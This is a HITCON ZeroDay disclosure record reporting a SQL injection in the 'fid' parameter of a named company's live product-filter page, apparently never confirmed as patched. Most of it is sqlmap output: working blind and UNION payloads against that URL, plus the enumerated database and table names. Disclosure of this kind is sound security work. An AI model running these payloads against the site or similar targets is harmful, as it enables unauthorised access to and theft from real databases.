Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2018-00417
- Vendor: 台灣耐落螺絲工業股份有限公司
- Title: 耐落股份有限公司SQL
- Introduction: 耐落股份有限公司SQL
處理狀態
目前狀態
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2018/04/07 20:51:50 : 新提交 (由 Cra5h 更新此狀態)
- 2018/04/08 00:10:20 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/04/08 02:12:25 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/04/08 02:12:26 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/06/07 03:00:21 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2018-00417
- 通報者:cra5h (Cra5h)
- 風險:高
- 類型:資料庫注入攻擊 (SQL Injection)
參考資料
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
相關網址
敘述
耐落股份有限公司SQL
SQL位置:
http://www.nylok.com.tw/products_filter.php?fid=1
fid参数过滤不严导致SQL
GET parameter 'fid' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 49 HTTP(s) requests:
Parameter: fid (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: fid=1 AND 6338=6338
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: fid=1 AND SLEEP(5)
Type: UNION query
Title: Generic UNION query (NULL) - 12 columns
Payload: fid=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7162717171,0x73794f4e4753496b46744a4642467769725a736a434d7652674a73624e7a6d775562426676444b5a,0x7178787871),NULL,NULL,NULL-- DgVG
[18:53:49] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL >= 5.0.12
[18:53:49] [INFO] fetched data logged to text files under 'C:\Users\Administrator.sqlmap\output\www.nylok.com.tw'
确认影响库:(4库)
available databases [4]:
[] information_schema
[] neplusco_tslg
[] neplusco_tslg_en
[] test
[18:55:00] [INFO] fetched data logged to text files under 'C:\Users\Administrator.sqlmap\output\www.nylok.com.tw'
查看数据量:
Database: test
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| colorstyle | 13363 |
| room_data | 3193 |
| order_data | 75 |
| porder_data | 23 |
| morder_data | 4 |
+---------------------------------------+---------+
Database: neplusco_tslg
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| photo | 31 |
| product | 30 |
| photo_news | 26 |
| images | 21 |
| news | 13 |
| contact | 7 |
| static_page | 7 |
| tech | 7 |
| user | 6 |
| carousel | 5 |
| ci_sessions | 5 |
| hr | 5 |
| company | 4 |
| event | 4 |
| home | 4 |
| setting | 2 |
| services | 1 |
+---------------------------------------+---------+
Database: neplusco_tslg_en
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| photo | 34 |
| product | 30 |
| images | 21 |
| photo_news | 8 |
| contact | 7 |
| static_page | 7 |
| tech | 7 |
| user | 6 |
| carousel | 5 |
| hr | 5 |
| company | 4 |
| event | 4 |
| home | 4 |
| news | 4 |
| ci_sessions | 2 |
| setting | 2 |
| services | 1 |
+---------------------------------------+---------+
Database: information_schema
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| COLUMNS | 662 |
| GLOBAL_STATUS | 291 |
| SESSION_STATUS | 291 |
| GLOBAL_VARIABLES | 277 |
| SESSION_VARIABLES | 277 |
| COLLATION_CHARACTER_SET_APPLICABILITY | 130 |
| COLLATIONS | 129 |
| PARTITIONS | 68 |
| TABLES | 68 |
| STATISTICS | 63 |
| KEY_COLUMN_USAGE | 39 |
| TABLE_CONSTRAINTS | 39 |
| CHARACTER_SETS | 36 |
| SCHEMA_PRIVILEGES | 36 |
| PLUGINS | 7 |
| ENGINES | 5 |
| SCHEMATA | 4 |
| PROCESSLIST | 1 |
| USER_PRIVILEGES | 1 |
+---------------------------------------+---------+
[18:59:08] [INFO] fetched data logged to text files under 'C:\Users\Administrator.sqlmap\output\www.nylok.com.tw'
修補建議
过滤,参数化